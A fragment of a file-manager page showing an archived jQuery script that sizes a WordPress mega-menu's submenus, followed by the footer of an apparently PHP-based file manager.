display: inline-block!important; } } assets/js/script.js 0000777 00000002555 15251615631 0010347 0 ustar 00 (function($){ "use strict"; if (typeof(OVA_MegaMenu) == "undefined") { var OVA_MegaMenu = {}; } OVA_MegaMenu.init = function(){ this.FrontEnd.init(); } /* Metabox */ OVA_MegaMenu.FrontEnd = { init: function(){ this.megamenu(); }, megamenu: function(){ var w_window = $(window).width(); var w_container = $('.ovamegamenu_container_default').width(); $('ul.ova-mega-menu.sub-menu').each(function() { var offset_left = $(this).offset().left; var offset_right = w_window - ( offset_left + $(this).outerWidth() ); $(this).css('max-width', w_container); if ( $('body').hasClass('rtl') ) { $(this).css({ right: '0', left: '100%' }); $(this).css('width', w_window - offset_right - 30); } else { $(this).css('width', w_window - offset_left - 30); } }); } } $(document).ready(function(){ OVA_MegaMenu.init(); }); $(window).resize(function(){ OVA_MegaMenu.FrontEnd.megamenu(); }); })(jQuery);
| ver. 1.6 |
Github
|
.
| PHP 8.1.34 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка